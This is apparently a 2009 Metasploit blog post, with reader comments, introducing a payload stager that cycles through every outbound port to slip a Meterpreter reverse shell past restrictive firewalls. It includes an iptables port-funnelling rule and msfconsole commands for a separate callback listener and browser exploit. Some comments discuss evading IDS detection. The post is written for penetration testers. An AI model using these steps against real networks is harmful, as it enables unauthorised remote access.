I was reading a fun blog post by Jason Mansfield about different ways to brute force a connection through a restrictive outbound firewall and realized that this would be trivial to implement in Metasploit and would go nicely with another feature implemented earlier today.
The general idea is that many networks block some or all outbound TCP ports from their network. This is a great way to avoid entire classes of client-side attacks and helps discourage employees from using non-authorized network applications. The trouble is, there are always exceptions. It may be that the CEO needs access to a real-time stock trading application or a developer needs access to a database service hosted at an ISP. Over time, holes start to appear in most outbound TCP rulesets and rarely, if ever get closed.
During a penetration test, nothing frustrates an auditor like having a working exploit for a target user, but not being able to get an interactive shell. In the case of networks with a restrictive outbound rules, the process of finding an allowed outbound port, or blindly installing some form of tunneling software, is time better spent cracking passwords and writing reports. Creating shellcode that can try multiple ports isn't all that hard, but doing so while keeping the size down and handling errors properly is another story.
Unfortunately, on the Windows platform, the connect() call will always wait for the system default timeout, unless the socket is in non-blocking mode. We could switch the socket to non-blocking, call select(), check the result, loop, and switch it back to blocking, but this would require a large amount of code, making the payload less useful for exploits that can only hold small amounts of shellcode. The payload can take so long to crawl its way up to the allowed port that the exploit module gives up and shuts down the listener. This is where the other new feature comes into play.
One often-requested feature is the ability to disable the builtin payload handler code for a particular module in the Metasploit Framework. This would allow the security auditor to launch exploits from one system, but receive the sessions and interact with them on another (using the exploit/multi/handler module on the receiving system). This feature would also allow a long-term, persistent listener (again, through exploit/multi/handler) to wait for a payload that tried all ports.
The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again. In order for the machine located at the LHOST address to handle all connections to all ports, a dedicated (unused) IP address is necessary, along with some iptables (or pf) magic. The following iptables command line will route all incoming TCP connections to any port to port 4444 of the specified IP (A.B.C.D):
# iptables -I INPUT -p tcp -m state --state NEW -d A.B.C.D -j DNAT --to A.B.C.D:4444
We now need to setup a listener on the receiving system (A.B.C.D):
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Finally we switch over to the system that is actually generating the attacks. To prevent the payload handler from running on the attacking system, we need to set the DisablePayloadHandler option to 'true':
msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit
As clients connect to the attacking system's browser exploit, the payload they receive will try to connect to the receiving system at A.B.C.D, starting on port 1 and going to port 65535 (then repeating). The iptables rule will map any incoming connection to port 4444, which will activate the handler code, stage-load meterpreter, and make the session available to the auditor.
Keep in mind that this payload is slow - it can take up to a minute for a blocked port to timeout (its usually much less however) and still a few seconds even when a TCP reset is received. The great thing about splitting the exploit from the handler is that timing no longer matters as much. Even if it takes an hour to find a usable outbound port, the receiving system will still be waiting, while the attacking system can move on to other exploits. Judicious use of the AutoRunScript option for the Metepreter payloads will allow all sorts of actions to take place once the session is established, without requiring an auditor to be waiting on the console.
Thursday, September 24, 2009
Subscribe to:
Post Comments (Atom)

8 comments:
Nice :-)
Wouldn't it be like a xmas tree for an IDS?
If they have signatures turned on for outbound port scans, it might pick it up if they are sensitive enough.
I believe the default snort sig requires 10 SYNs / 30 minutes. If this type of thing was turned on, it'd look like the compromised host was scanning the msf call back server very, very slowly.
^^ Depends on the IDS, Net,Host, Anom, etc...but ++ each round is predicitable and alittle scary, just through some randomness in there
What's the advantage in doing this over Reverse DNS Tunneling other than performance should it find an open port?
What a GREAT new payload!
Thanks ALOT
might be nice to have an option to try commonly allowed outbound ports first, such as 53,80,110,143,443. I'd guess that a meterpreter or reverse shell isn't going to look like typical protocol interaction on any of these ports although I'd guess that 443 would be harder to check, and would be less likely to be noticed manually. Wrapping meterp or reverse shell in such a way that it looks like the expected protocol per port would be a neat feature.
Common ports first would be smarter, but this starts to bump the size of the payload up again. Meterpreter, once staged, now does real TLS over the socket, but the first data down the pipe is the raw stage itself.
nice, I didn't realize that meterpreter was using TLS, so that just leaves the initial stager as the point for potential IPS detection, but if it's msfencoded then that's pretty unlikely at least by fingerprint :)
I didn't think about the payload size, but that's a good point that natron also mentioned.
Great to see the continued evolution of msf. Thanks
Post a Comment